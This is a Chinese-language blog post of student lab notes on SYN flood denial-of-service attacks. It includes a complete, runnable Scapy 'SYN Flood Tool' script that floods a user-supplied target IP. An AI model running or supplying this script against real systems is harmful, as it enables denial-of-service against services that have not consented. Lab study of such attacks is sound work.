赞
踩
我在实验过程中,要求使用多种工具实现SYN泛洪攻击,之前使用了kali Linux下的hping3实验SYN攻击,然后我最后了解到了Python也可以写脚本,因此我在这篇文章中写下我学习的过程。我使用的环境是VS Code。在安装好Python编译环境之后,首先我们要安装Scapy这个第三方库。然后编写代码,发送数据包再用wireshark抓包验证。在实验正式开始之前让我们先了解一下什么是SYN攻击。
SYN攻击属于DOS攻击的一种,它利用TCP协议缺陷,通过发送大量的半连接请求,耗费CPU和内存资源。配合IP欺骗,SYN攻击能达到很好的效果,通常,客户端在短时间内伪造大量不存在的IP地址,向服务器不断地发送syn包,服务器回复确认包,并等待客户的确认,由于源地址是不存在的,服务器需要不断的重发直至超时,这些伪造的SYN包将长时间占用未连接队列,正常的SYN请求被丢弃,目标系统运行缓慢,严重者引起网络堵塞甚至系统瘫痪。
- from scapy.layers.inet import *
- #引入IP(),TCP()等函数
- from scapy.all import *
- import random
-
- #生成随机的IP
- def randomIP():
- ip=".".join(map(str,(random.randint(0,255) for i in range(4))))
- return ip
-
- #生成随机端口
- def randomPort():
- port=random.randint(1000,10000)
- return port
-
- #syn-flood
- def synFlood(count,dstIP):
- total=0
- print("Packets are sending ...")
- for i in range(count):
- #IPlayer
- srcIP='192.168.xxx.xxx'#此处为源ip地址,读者请自己填写
- dstIP=dstIP
- IPlayer = IP(src=srcIP,dst=dstIP)
- #TCPlayer
- srcPort=randomPort()
- TCPlayer = TCP(sport=srcPort, dport=randomPort(), flags="S")
- #发送包
- packet = IPlayer / TCPlayer
- send(packet)
- total+=119
- print("Total packets sent: %i" % total)
-
- #显示的信息
- def info():
- print("#"*30)
- print("# Welcome to SYN Flood Tool #")
- print("#"*30)
- #输入目标IP和端口
- dstIP = input("Target IP : ")
- return dstIP
-
- if __name__ == '__main__':
- dstIP=info()
- count=int(input("Please input the number of packets:"))
- synFlood(count,dstIP)
Scapy 是一个 Python 程序,它使用户能够发送、嗅探、剖析和伪造网络数据包。此功能允许构建可以探测、扫描或攻击网络的工具。换句话说,Scapy 是一个强大的交互式数据包操作程序。它能够伪造或解码多种协议的数据包,通过网络发送它们,捕获它们,匹配请求和回复等等。Scapy 可以轻松处理大多数经典任务,例如扫描、跟踪路由、探测、单元测试、攻击或网络发现。它可以替代 hping、arpspoof、arp-sk、arping、p0f 甚至 Nmap、tcpdump 和 tshark 的某些部分。
由于Scapy是Python的第三方库,所以我们首先得通过pip安装这个库
安装Scapy库
(我已经安装完了所以再次安装显示Scapy已经准备就绪)
我编写了一个随机ip地址生成函数,这样可以在后面的实验中随机伪造发送方的ip地址(虽然最后没有用上)
- #生成随机的IP
- def randomIP():
- ip=".".join(map(str,(random.randint(0,255) for i in range(4))))
- return ip
还有一个随机端口生成函数,用来向不同的端口发送数据包
- #生成随机端口
- def randomPort():
- port=random.randint(1000,10000)
- return port
最最重要的,数据包发送函数,实现,源和目的ip地址都可以自由设定,源和目的端口都可以随机,数据包数目可以指定的数据包发送功能
- #syn-flood
- def synFlood(count,dstIP):#简化函数,只需要知道数据包的数量和目标ip就可以发送数据包啦
- total=0
- print("Packets are sending ...")
- for i in range(count):#循环发送数据包,每次固定源地址和目的地址每次都随机发送和接收方的端口
- #IPlayer
- srcIP='192.168.xxx.xxx'#此处为源ip地址,读者请自己填写
- dstIP=dstIP
- IPlayer = IP(src=srcIP,dst=dstIP)
- #TCPlayer
- srcPort=randomPort()
- TCPlayer = TCP(sport=srcPort, dport=randomPort(), flags="S")
- #发送包
- packet = IPlayer / TCPlayer
- send(packet)
- total+=119
- print("Total packets sent: %i" % total)
最开始我没有写下 from scapy.layers.inet import *这一段代码,导致我的IP(),TCP()函数始终报错。于是我查阅了Scapy的使用方法只要加上以上那一段就可以正常使用(具体原因没有细究)
可以看到实验成功的发送了SYN数据包
显而易见这次的实验并没有完全成功,虽然SYN的数据包构造成功了,但是接收方的回复却不正确,接收方始终回复的是[RST,ACK]数据包。这个问题困扰了我很久,我在做hping3实验的时候也遇到了同样的情况,希望得到大佬的指教!!
这一篇笔记,记录了一次不算完全成功的实验过程。以后我也希望通过记笔记的形式向大家分享我的学习过程,巩固我的学习知识,理清我的学习思路,我会尽量详细的解释各种过程,让许多像我一样初入这样的领域的人得到很多细小问题上的支持。(最后 本文的代码有部分参考自网络,如有不妥之处还望大佬指正)
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。